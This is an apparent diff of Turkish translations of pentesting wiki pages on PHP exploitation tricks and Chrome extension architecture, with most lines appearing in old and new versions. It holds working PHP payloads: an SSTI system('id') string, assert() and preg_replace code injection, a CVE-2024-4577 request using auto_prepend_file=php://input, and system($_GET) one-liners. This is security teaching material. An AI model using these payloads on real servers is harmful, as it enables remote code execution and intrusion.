Kısacası, sorun PHP'deki `preg_*` fonksiyonlarının [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyineleme sayısı için bir sınır belirlemek mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığın içinde sığacak olandan fazladır.
 | 
			
		||||
Kısacası, sorun `preg_*` fonksiyonlarının PHP'de [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyinelemelerin miktarını sınırlamak mümkündür, ancak PHP'de bu limit [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığında sığacak olandan fazladır.
 | 
			
		||||
 | 
			
		||||
[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz artık netti:\
 | 
			
		||||
**Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesini sağlayacak ve böylece uygulama girdimizin kötü niyetli olmadığını düşünecek, yükün sonunda `{system(<verybadcommand>)}` gibi bir sürpriz atarak SSTI --> RCE --> flag :) elde edeceğiz.**
 | 
			
		||||
[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz şimdi açıktı:\
 | 
			
		||||
**Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesini sağlayacak ve böylece uygulamanın girdimizin kötü niyetli olmadığını düşünmesine neden olacak, yükün sonunda `{system(<verybadcommand>)}` gibi bir sürpriz atarak SSTI --> RCE --> flag :)**.
 | 
			
		||||
 | 
			
		||||
Regex terimleriyle, aslında 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki bu da [PHP belgelerine](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) göre `pcre.backtrack_limit` değişkeninde varsayılan olarak 1_000_000 (1M) olarak ayarlanmıştır.\
 | 
			
		||||
Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve 500k geri) neden olacaktır:
 | 
			
		||||
Aslında regex terimleriyle, 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki bu da [PHP belgelerine](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) göre `pcre.backtrack_limit` değişkeninde varsayılan olarak 1_000_000 (1M) olarak ayarlanmıştır.\
 | 
			
		||||
Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve 500k geri) yol açacaktır:
 | 
			
		||||
```python
 | 
			
		||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
 | 
			
		||||
```
 | 
			
		||||
### PHP obfuscation için Type Juggling
 | 
			
		||||
### PHP obfuscation için Tip Karıştırma
 | 
			
		||||
```php
 | 
			
		||||
$obfs = "1"; //string "1"
 | 
			
		||||
$obfs++; //int 2
 | 
			
		||||
@ -142,7 +142,7 @@ header('Location: /index.php?page=default.html');
 | 
			
		||||
readfile($page);
 | 
			
		||||
?>
 | 
			
		||||
```
 | 
			
		||||
## Path Traversal ve Dosya Dahil Etme İstismarı
 | 
			
		||||
## Path Traversal ve Dosya Dahil Etme Sömürüsü
 | 
			
		||||
 | 
			
		||||
Kontrol et:
 | 
			
		||||
 | 
			
		||||
@ -153,15 +153,15 @@ Kontrol et:
 | 
			
		||||
## Daha Fazla Hile
 | 
			
		||||
 | 
			
		||||
- **register_globals**: **PHP < 4.1.1.1** veya yanlış yapılandırılmışsa, **register_globals** aktif olabilir (veya davranışları taklit ediliyor olabilir). Bu, $\_GET gibi global değişkenlerde bir değer varsa örneğin $\_GET\["param"]="1234", **$param** aracılığıyla erişebileceğiniz anlamına gelir. Bu nedenle, HTTP parametreleri göndererek kod içinde kullanılan değişkenleri **üzerine yazabilirsiniz**.
 | 
			
		||||
- **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alanda **farklı çerezler farklı yollarla kullanılıyorsa**, bir yolu **diğer yolun çerezine erişecek şekilde ayarlayabilirsiniz**.\
 | 
			
		||||
Bu şekilde, **her iki yol da aynı isimde bir değişkene erişirse**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli olarak alacaktır (çereze path2'deki karşılık gelen ismi vererek).
 | 
			
		||||
- Makinenin kullanıcılarının **kullanıcı adlarını** aldığınızda, php dizinlerinin etkin olup olmadığını görmek için adresi kontrol edin: **/\~\<USERNAME>**.
 | 
			
		||||
- [**LFI ve RCE php sarmalayıcıları kullanarak**](../../../pentesting-web/file-inclusion/)
 | 
			
		||||
- **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alanda **farklı çerezler farklı yollarla kullanılıyorsa**, bir yolun **diğer yolun çerezine erişmesini** sağlayabilirsiniz ve diğer yolun çerezinin değerini ayarlayabilirsiniz.\
 | 
			
		||||
Bu şekilde, eğer **her iki yol da aynı isimde bir değişkene erişiyorsa**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli olarak alacaktır (çereze path2'deki karşılık gelen ismi vererek).
 | 
			
		||||
- Makinenin kullanıcılarının **kullanıcı adlarını** aldığınızda, php dizinlerinin etkin olup olmadığını kontrol etmek için adresi kontrol edin: **/\~\<USERNAME>**.
 | 
			
		||||
- [**LFI ve RCE php sarmalayıcıları kullanarak**](../../../pentesting-web/file-inclusion/index.html)
 | 
			
		||||
 | 
			
		||||
### password_hash/password_verify
 | 
			
		||||
 | 
			
		||||
Bu fonksiyonlar genellikle PHP'de **şifrelerden hash oluşturmak** ve bir hash ile karşılaştırıldığında bir şifrenin doğru olup olmadığını **kontrol etmek** için kullanılır.\
 | 
			
		||||
Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` (başlar `$2y$`). **PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu** unutmayın. Ve şu anda, **PASSWORD_BCRYPT**'in **girişte 72baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır:
 | 
			
		||||
Desteklenen algoritmalar: `PASSWORD_DEFAULT` ve `PASSWORD_BCRYPT` ( `$2y$` ile başlar). **PASSWORD_DEFAULT genellikle PASSWORD_BCRYPT ile aynı olduğunu** unutmayın. Ve şu anda, **PASSWORD_BCRYPT**'in **girişte 72 baytlık bir boyut sınırlaması** vardır. Bu nedenle, bu algoritma ile 72 bayttan daha büyük bir şeyi hashlemeye çalıştığınızda yalnızca ilk 72B kullanılacaktır:
 | 
			
		||||
```php
 | 
			
		||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
 | 
			
		||||
False
 | 
			
		||||
@ -173,9 +173,9 @@ True
 | 
			
		||||
 | 
			
		||||
#### Başlıkları ayarladıktan sonra hata oluşturma
 | 
			
		||||
 | 
			
		||||
[**bu twitter dizisinde**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHOP'un yanıtında başlıkları ayarlamayacağını görebilirsiniz.
 | 
			
		||||
[**bu twitter dizisinde**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) 1000'den fazla GET parametresi veya 1000'den fazla POST parametresi veya 20 dosya gönderildiğinde, PHOP'un yanıtta başlıkları ayarlamayacağını görebilirsiniz.
 | 
			
		||||
 | 
			
		||||
Bu, örneğin CSP başlıklarının kodlarda ayarlanmasını atlatmaya izin verir:
 | 
			
		||||
Bu, örneğin CSP başlıklarının kodlarda ayarlanmasını atlatmaya olanak tanır:
 | 
			
		||||
```php
 | 
			
		||||
<?php
 | 
			
		||||
header("Content-Security-Policy: default-src 'none';");
 | 
			
		||||
@ -183,7 +183,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
 | 
			
		||||
```
 | 
			
		||||
#### Başlıkları ayarlamadan önce bir gövde doldurma
 | 
			
		||||
 | 
			
		||||
Eğer bir **PHP sayfası hataları yazdırıyorsa ve kullanıcı tarafından sağlanan bazı girdileri geri ekrana basıyorsa**, kullanıcı PHP sunucusunun **yanıtına yeterince uzun bir içerik** yazdırmasını sağlayabilir, böylece sunucu **başlıkları** eklemeye çalıştığında bir hata verecektir.\
 | 
			
		||||
Eğer bir **PHP sayfası hataları yazdırıyorsa ve kullanıcı tarafından sağlanan bazı girdileri geri ekrana basıyorsa**, kullanıcı PHP sunucusunun geri dönen bazı **içeriği yeterince uzun** yapmasını sağlayabilir, böylece sunucu **başlıkları** yanıtın içine eklemeye çalıştığında bir hata verecektir.\
 | 
			
		||||
Aşağıdaki senaryoda **saldırgan sunucunun büyük hatalar vermesini sağladı** ve ekranda görebileceğiniz gibi PHP başlık bilgilerini **değiştirmeye çalıştığında, başaramadı** (örneğin CSP başlığı kullanıcıya gönderilmedi):
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
@ -202,7 +202,7 @@ php-ssrf.md
 | 
			
		||||
&#xNAN;**\`ls\`;**\
 | 
			
		||||
**shell_exec("ls");**
 | 
			
		||||
 | 
			
		||||
[Daha yararlı PHP fonksiyonları için bunu kontrol edin](php-useful-functions-disable_functions-open_basedir-bypass/)
 | 
			
		||||
[Daha yararlı PHP fonksiyonları için bunu kontrol edin](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
 | 
			
		||||
 | 
			
		||||
### **preg_replace()** ile **RCE**
 | 
			
		||||
```php
 | 
			
		||||
@ -222,8 +222,8 @@ Bu preg_replace seçeneği **PHP 5.5.0 itibarıyla kullanımdan kaldırılmışt
 | 
			
		||||
```
 | 
			
		||||
### **Assert() ile RCE**
 | 
			
		||||
 | 
			
		||||
php içindeki bu fonksiyon, **bir dize içinde yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize içinde ortada yer alır. Örneğin:\
 | 
			
		||||
`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunları yapabilirsiniz:
 | 
			
		||||
php içindeki bu fonksiyon, **bir dize içinde yazılmış kodu çalıştırmanıza** olanak tanır ve **true veya false döndürür** (ve buna bağlı olarak yürütmeyi değiştirir). Genellikle kullanıcı değişkeni bir dize ortasına yerleştirilecektir. Örneğin:\
 | 
			
		||||
`assert("strpos($_GET['page']),'..') === false")` --> Bu durumda **RCE** elde etmek için şunu yapabilirsiniz:
 | 
			
		||||
```
 | 
			
		||||
?page=a','NeVeR') === false and system('ls') and strpos('a
 | 
			
		||||
```
 | 
			
		||||
@ -262,7 +262,7 @@ Kapatmanız gereken parantez sayısını keşfetmek için:
 | 
			
		||||
 | 
			
		||||
- `?order=id;}//`: bir hata mesajı alıyoruz (`Parse error: syntax error, unexpected ';'`). Muhtemelen bir veya daha fazla parantez eksik.
 | 
			
		||||
- `?order=id);}//`: bir **uyarı** alıyoruz. Bu doğru görünüyor.
 | 
			
		||||
- `?order=id));}//`: bir hata mesajı alıyoruz (`Parse error: syntax error, unexpected ')' i`). Muhtemelen fazla kapanış parantezimiz var.
 | 
			
		||||
- `?order=id));}//`: bir hata mesajı alıyoruz (`Parse error: syntax error, unexpected ')' i`). Muhtemelen çok fazla kapanış parantezimiz var.
 | 
			
		||||
 | 
			
		||||
### **.httaccess ile RCE**
 | 
			
		||||
 | 
			
		||||
@ -289,11 +289,11 @@ Eğer PHP'de **env değişkenlerini değiştirmeye** izin veren bir güvenlik a
 | 
			
		||||
 | 
			
		||||
### XAMPP CGI RCE - CVE-2024-4577
 | 
			
		||||
 | 
			
		||||
Web sunucusu HTTP isteklerini ayrıştırır ve bunları `http://host/cgi.php?foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir (`php.exe cgi.php foo=bar`), bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeye olanak tanır:
 | 
			
		||||
Web sunucusu HTTP isteklerini ayrıştırır ve bunları `php.exe cgi.php foo=bar` gibi bir isteği çalıştıran bir PHP betiğine iletir, bu da bir parametre enjeksiyonuna izin verir. Bu, gövde içindeki PHP kodunu yüklemek için aşağıdaki parametreleri enjekte etmeye olanak tanır:
 | 
			
		||||
```jsx
 | 
			
		||||
-d allow_url_include=1 -d auto_prepend_file=php://input
 | 
			
		||||
```
 | 
			
		||||
Ayrıca, PHP'nin sonraki normalizasyonu nedeniyle "-" parametresini 0xAD karakteri kullanarak enjekte etmek mümkündür. [**bu gönderiden**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) örneği kontrol edin.
 | 
			
		||||
Ayrıca, PHP'nin sonraki normalizasyonu nedeniyle "-" parametresini 0xAD karakteri kullanarak enjekte etmek mümkündür. [**bu gönderiden**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) istismar örneğini kontrol edin.
 | 
			
		||||
```jsx
 | 
			
		||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
 | 
			
		||||
Host: {{host}}
 | 
			
		||||
@ -310,7 +310,7 @@ phpinfo();
 | 
			
		||||
```
 | 
			
		||||
## PHP Sanitizasyon atlatma & Brain Fuck
 | 
			
		||||
 | 
			
		||||
[**Bu yazıda**](https://blog.redteam-pentesting.de/2024/moodle-rce/) çok az karakterin izin verildiği bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkün.\
 | 
			
		||||
[**Bu yazıda**](https://blog.redteam-pentesting.de/2024/moodle-rce/) çok az karakterle izin verilen bir brain fuck PHP kodu oluşturmak için harika fikirler bulmak mümkün.\
 | 
			
		||||
Ayrıca, birkaç kontrolü atlatmalarını sağlayan fonksiyonları çalıştırmanın ilginç bir yolu da önerilmektedir:
 | 
			
		||||
```php
 | 
			
		||||
(1)->{system($_GET[chr(97)])}
 | 
			
		||||
@ -325,9 +325,9 @@ $_COOKIE | if #This mea
 | 
			
		||||
```
 | 
			
		||||
Eğer bir PHP uygulamasını hata ayıklıyorsanız, hata yazdırmayı global olarak etkinleştirmek için `/etc/php5/apache2/php.ini` dosyasına `display_errors = On` ekleyebilir ve apache'yi yeniden başlatabilirsiniz: `sudo systemctl restart apache2`
 | 
			
		||||
 | 
			
		||||
### PHP kodunu deobfuscate etme
 | 
			
		||||
### PHP kodunu deşifre etme
 | 
			
		||||
 | 
			
		||||
PHP kodunu deobfuscate etmek için **web**[ **www.unphp.net**](http://www.unphp.net) **kullanabilirsiniz.**
 | 
			
		||||
PHP kodunu deşifre etmek için **web**[ **www.unphp.net**](http://www.unphp.net) **kullanabilirsiniz.**
 | 
			
		||||
 | 
			
		||||
## PHP Wrapper'ları ve Protokoller
 | 
			
		||||
 | 
			
		||||
@ -349,7 +349,7 @@ echo "${Da}"; //Drums
 | 
			
		||||
echo "$x ${$x}"; //Da Drums
 | 
			
		||||
echo "$x ${Da}"; //Da Drums
 | 
			
		||||
```
 | 
			
		||||
## RCE kötüye kullanımı yeni $\_GET\["a"]\($\_GET\["b")
 | 
			
		||||
## RCE kötüye kullanımı yeni $\_GET\["a"]\($\_GET\["b"])
 | 
			
		||||
 | 
			
		||||
Eğer bir sayfada **rastgele bir sınıfın yeni bir nesnesini oluşturabiliyorsanız** RCE elde etme şansınız olabilir, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -14,7 +14,7 @@ Uzantı düzenleri en iyi şekilde görselleştirildiğinde görünür ve üç b
 | 
			
		||||
 | 
			
		||||
### **İçerik Scriptleri**
 | 
			
		||||
 | 
			
		||||
Her içerik scripti, **tek bir web sayfasının** DOM'una doğrudan erişime sahiptir ve bu nedenle **potansiyel olarak kötü niyetli girdi** ile karşı karşıyadır. Ancak, içerik scriptinin uzantı çekirdeğine mesaj göndermenin dışında başka bir izni yoktur.
 | 
			
		||||
Her içerik scriptinin **tek bir web sayfasının** DOM'una doğrudan erişimi vardır ve bu nedenle **potansiyel olarak kötü niyetli girdi** ile karşı karşıyadır. Ancak, içerik scripti uzantı çekirdeğine mesaj göndermenin dışında hiçbir izne sahip değildir.
 | 
			
		||||
 | 
			
		||||
### **Uzantı Çekirdeği**
 | 
			
		||||
 | 
			
		||||
@ -31,7 +31,7 @@ Uzantı, kullanıcının tam ayrıcalıklarıyla **ana makineye erişebilen bir
 | 
			
		||||
 | 
			
		||||
Uzantının her bir bileşeni, **güçlü koruyucu sınırlarla** birbirinden ayrılmıştır. Her bileşen, **ayrı bir işletim sistemi sürecinde** çalışır. İçerik scriptleri ve uzantı çekirdekleri, çoğu işletim sistemi hizmetlerine kapalı olan **sandbox süreçlerinde** çalışır.
 | 
			
		||||
 | 
			
		||||
Ayrıca, içerik scriptleri, **ayrı bir JavaScript yığını** içinde çalışarak ilişkili web sayfalarından ayrılır. İçerik scripti ve web sayfası, **aynı temel DOM'a erişime** sahiptir, ancak ikisi **asla JavaScript işaretçilerini değiş tokuş etmez**, bu da JavaScript işlevselliğinin sızmasını önler.
 | 
			
		||||
Ayrıca, içerik scriptleri, **ayrı bir JavaScript yığını** içinde çalışarak ilişkili web sayfalarından ayrılır. İçerik scripti ve web sayfası, **aynı temel DOM'a erişime** sahiptir, ancak ikisi **asla JavaScript işaretçilerini değiştirmez**, bu da JavaScript işlevselliğinin sızmasını önler.
 | 
			
		||||
 | 
			
		||||
## **`manifest.json`**
 | 
			
		||||
 | 
			
		||||
@ -61,7 +61,7 @@ Bir Chrome uzantısı, [.crx dosya uzantısına](https://www.lifewire.com/crx-fi
 | 
			
		||||
```
 | 
			
		||||
### `content_scripts`
 | 
			
		||||
 | 
			
		||||
Content scripts, kullanıcı **eşleşen bir sayfaya gittiğinde** **yüklenir**, bu durumda **`https://example.com/*`** ifadesine uyan ve **`*://*/*/business*`** regex'ine uymayan herhangi bir sayfa. **Sayfanın kendi scriptleri gibi** çalışırlar ve sayfanın [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) erişimine serbestçe erişim sağlarlar.
 | 
			
		||||
Content scripts, kullanıcı **eşleşen bir sayfaya gittiğinde** **yüklenir**, bu durumda **`https://example.com/*`** ifadesine uyan ve **`*://*/*/business*`** regex'ine uymayan herhangi bir sayfa. **Sayfanın kendi scriptleri gibi** çalışırlar ve sayfanın [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) üzerinde keyfi erişime sahiptirler.
 | 
			
		||||
```json
 | 
			
		||||
"content_scripts": [
 | 
			
		||||
{
 | 
			
		||||
@ -97,11 +97,11 @@ Bu butona tıklandığında, içerik betiği tarafından uzantı sayfalarına bi
 | 
			
		||||
> Tarayıcıya bağlı olarak, içerik betiğinin yetenekleri biraz farklılık gösterebilir. Chromium tabanlı tarayıcılar için yetenekler listesi [Chrome Geliştiricileri belgelerinde](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) mevcuttur ve Firefox için [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) ana kaynak olarak hizmet etmektedir.\
 | 
			
		||||
> Ayrıca, içerik betiklerinin arka plan betikleriyle iletişim kurma yeteneğine sahip olduğu ve bu sayede eylemler gerçekleştirebildiği ve yanıtları iletebildiği de dikkate değerdir.
 | 
			
		||||
 | 
			
		||||
Chrome'da içerik betiklerini görüntülemek ve hata ayıklamak için, Chrome geliştirici araçları menüsüne Seçenekler > Daha fazla araç > Geliştirici araçları yoluyla veya Ctrl + Shift + I tuşlarına basarak erişilebilir.
 | 
			
		||||
Chrome'da içerik betiklerini görüntülemek ve hata ayıklamak için, Chrome geliştirici araçları menüsüne Options > More tools > Developer tools yoluyla veya Ctrl + Shift + I tuşlarına basarak erişilebilir.
 | 
			
		||||
 | 
			
		||||
Geliştirici araçları görüntülendikten sonra, **Kaynak sekmesine** tıklanmalı ve ardından **İçerik Betikleri** sekmesi seçilmelidir. Bu, çeşitli uzantılardan çalışan içerik betiklerinin gözlemlenmesini ve yürütme akışını izlemek için kesme noktalarının ayarlanmasını sağlar.
 | 
			
		||||
Geliştirici araçları görüntülendikten sonra, **Source tab**'ına tıklanmalı ve ardından **Content Scripts** sekmesi seçilmelidir. Bu, çeşitli uzantılardan çalışan içerik betiklerinin gözlemlenmesini ve yürütme akışını izlemek için kesme noktalarının ayarlanmasını sağlar.
 | 
			
		||||
 | 
			
		||||
### Enjekte Edilmiş İçerik Betikleri
 | 
			
		||||
### Enjekte edilmiş içerik betikleri
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> **İçerik Betikleri zorunlu değildir**; ayrıca **dinamik olarak** **betik enjekte etmek** ve **programatik olarak** web sayfalarına **`tabs.executeScript`** ile enjekte etmek de mümkündür. Bu, aslında daha **detaylı kontroller** sağlar.
 | 
			
		||||
@ -171,7 +171,7 @@ Daha fazla URL eklemek veya çıkarmak için **`include_globs`** ve **`exclude_g
 | 
			
		||||
 | 
			
		||||
### İçerik Scriptleri `run_at`
 | 
			
		||||
 | 
			
		||||
`run_at` alanı **JavaScript dosyalarının web sayfasına ne zaman enjekte edileceğini** kontrol eder. Tercih edilen ve varsayılan değer `"document_idle"`'dır.
 | 
			
		||||
`run_at` alanı **JavaScript dosyalarının web sayfasına ne zaman enjekte edileceğini** kontrol eder. Tercih edilen ve varsayılan değer `"document_idle"`dur.
 | 
			
		||||
 | 
			
		||||
Olası değerler şunlardır:
 | 
			
		||||
 | 
			
		||||
@ -195,7 +195,7 @@ Olası değerler şunlardır:
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
**`service-worker.js`** aracılığıyla
 | 
			
		||||
**`service-worker.js`** üzerinden
 | 
			
		||||
```javascript
 | 
			
		||||
chrome.scripting.registerContentScripts([
 | 
			
		||||
{
 | 
			
		||||
@ -213,11 +213,11 @@ js: ["contentScript.js"],
 | 
			
		||||
**Ana Noktalar**:
 | 
			
		||||
 | 
			
		||||
- **Arka Plan Sayfası Rolü:** Uzantının sinir merkezi olarak hareket eder, uzantının çeşitli parçaları arasında iletişim ve koordinasyonu sağlar.
 | 
			
		||||
- **Süreklilik:** Kullanıcıya görünmez, ancak uzantının işlevselliği için hayati bir varlıktır.
 | 
			
		||||
- **Otomatik Oluşturma:** Açıkça tanımlanmadıysa, tarayıcı otomatik olarak bir arka plan sayfası oluşturur. Bu otomatik oluşturulan sayfa, uzantının manifestosunda belirtilen tüm arka plan betiklerini içerecek şekilde, uzantının arka plan görevlerinin kesintisiz çalışmasını sağlar.
 | 
			
		||||
- **Süreklilik:** Kullanıcıya görünmez, ancak uzantının işlevselliği için hayati bir öneme sahip sürekli bir varlıktır.
 | 
			
		||||
- **Otomatik Oluşturma:** Açıkça tanımlanmadığı takdirde, tarayıcı otomatik olarak bir arka plan sayfası oluşturur. Bu otomatik oluşturulan sayfa, uzantının manifestosunda belirtilen tüm arka plan betiklerini içerecek şekilde, uzantının arka plan görevlerinin kesintisiz çalışmasını sağlar.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Tarayıcının açıkça belirtilmediğinde otomatik olarak bir arka plan sayfası oluşturma kolaylığı, gerekli tüm arka plan betiklerinin entegre edilmesini ve çalışır durumda olmasını sağlar, uzantının kurulum sürecini kolaylaştırır.
 | 
			
		||||
> Tarayıcının otomatik olarak bir arka plan sayfası oluşturma kolaylığı (açıkça belirtilmediğinde), gerekli tüm arka plan betiklerinin entegre edilmesini ve çalışır durumda olmasını sağlar, uzantının kurulum sürecini kolaylaştırır.
 | 
			
		||||
 | 
			
		||||
Örnek arka plan betiği:
 | 
			
		||||
```js
 | 
			
		||||
@ -243,16 +243,16 @@ Tarayıcı uzantıları çeşitli türde sayfalar içerebilir:
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
Bu sayfaların, dinamik olarak ihtiyaç duyulduğunda içerik yükledikleri için arka plan sayfaları gibi kalıcı olmadığını unutmayın. Bununla birlikte, arka plan sayfasıyla belirli yetenekleri paylaşırlar:
 | 
			
		||||
Bu sayfaların, dinamik olarak içerik yükledikleri için arka plan sayfaları gibi kalıcı olmadığını unutmayın. Bununla birlikte, arka plan sayfasıyla belirli yetenekleri paylaşırlar:
 | 
			
		||||
 | 
			
		||||
- **İçerik Betikleri ile İletişim:** Arka plan sayfasına benzer şekilde, bu sayfalar içerik betiklerinden mesaj alabilir, uzantı içinde etkileşimi kolaylaştırır.
 | 
			
		||||
- **Uzantıya Özgü API'lere Erişim:** Bu sayfalar, uzantı için tanımlanan izinlere tabi olarak uzantıya özgü API'lere kapsamlı erişim hakkına sahiptir.
 | 
			
		||||
- **Uzantıya Özgü API'lere Erişim:** Bu sayfalar, uzantı için tanımlanan izinlere tabi olarak uzantıya özgü API'lere kapsamlı erişim sağlar.
 | 
			
		||||
 | 
			
		||||
### `permissions` & `host_permissions`
 | 
			
		||||
 | 
			
		||||
**`permissions`** ve **`host_permissions`**, tarayıcı uzantısının **hangi izinlere** sahip olduğunu (depolama, konum...) ve **hangi web sayfalarında** olduğunu belirten `manifest.json` dosyasındaki girişlerdir.
 | 
			
		||||
**`permissions`** ve **`host_permissions`**, uzantının hangi izinlere sahip olduğunu (depolama, konum...) ve **hangi web sayfalarında** olduğunu belirten `manifest.json` dosyasındaki girişlerdir.
 | 
			
		||||
 | 
			
		||||
Tarayıcı uzantıları bu kadar **ayrıcalıklı** olabileceğinden, kötü niyetli bir uzantı veya ele geçirilmiş bir uzantı, saldırgana **hassas bilgileri çalmak ve kullanıcıyı gözetlemek için farklı yollar** sağlayabilir.
 | 
			
		||||
Tarayıcı uzantıları oldukça **ayrıcalıklı** olabileceğinden, kötü niyetli bir uzantı veya ele geçirilmiş bir uzantı, saldırgana **hassas bilgileri çalmak ve kullanıcıyı gözetlemek için farklı yollar** sağlayabilir.
 | 
			
		||||
 | 
			
		||||
Bu ayarların nasıl çalıştığını ve nasıl kötüye kullanılabileceğini kontrol edin:
 | 
			
		||||
 | 
			
		||||
@ -264,7 +264,7 @@ browext-permissions-and-host_permissions.md
 | 
			
		||||
 | 
			
		||||
Bir **içerik güvenlik politikası**, `manifest.json` içinde de tanımlanabilir. Eğer tanımlıysa, **açık bir şekilde savunmasız** olabilir.
 | 
			
		||||
 | 
			
		||||
Tarayıcı uzantısı sayfaları için varsayılan ayar oldukça kısıtlayıcıdır:
 | 
			
		||||
Tarayıcı uzantı sayfaları için varsayılan ayar oldukça kısıtlayıcıdır:
 | 
			
		||||
```bash
 | 
			
		||||
script-src 'self'; object-src 'self';
 | 
			
		||||
```
 | 
			
		||||
@ -305,7 +305,7 @@ Kamu uzantılarında **extension-id erişilebilir**:
 | 
			
		||||
Ancak, `manifest.json` parametresi **`use_dynamic_url`** kullanılıyorsa, bu **id dinamik olabilir**.
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Burada bir sayfa belirtilse bile, **Content Security Policy** sayesinde **ClickJacking'e karşı korunmuş** olabileceğini unutmayın. Bu nedenle, bir ClickJacking saldırısının mümkün olduğunu onaylamadan önce (frame-ancestors bölümü) bunu kontrol etmeniz gerekir.
 | 
			
		||||
> Burada bir sayfa belirtilse bile, **Content Security Policy** sayesinde **ClickJacking'e karşı korunmuş** olabileceğini unutmayın. Bu nedenle, bir ClickJacking saldırısının mümkün olduğunu onaylamadan önce bunu (frame-ancestors bölümü) kontrol etmeniz gerekir.
 | 
			
		||||
 | 
			
		||||
Bu sayfalara erişim izni verilmesi, bu sayfaları **potansiyel olarak savunmasız ClickJacking** hale getirir:
 | 
			
		||||
 | 
			
		||||
@ -314,12 +314,12 @@ browext-clickjacking.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Bu sayfaların yalnızca uzantı tarafından yüklenmesine ve rastgele URL'ler tarafından yüklenmesine izin vermek, ClickJacking saldırılarını önleyebilir.
 | 
			
		||||
> Bu sayfaların yalnızca uzantı tarafından ve rastgele URL'ler tarafından yüklenmesine izin verilmesi, ClickJacking saldırılarını önleyebilir.
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> **`web_accessible_resources`** sayfalarının ve uzantının diğer sayfalarının da **arka plan betikleriyle iletişim kurma** yeteneğine sahip olduğunu unutmayın. Bu nedenle, bu sayfalardan biri **XSS**'ye karşı savunmasızsa, daha büyük bir güvenlik açığı açabilir.
 | 
			
		||||
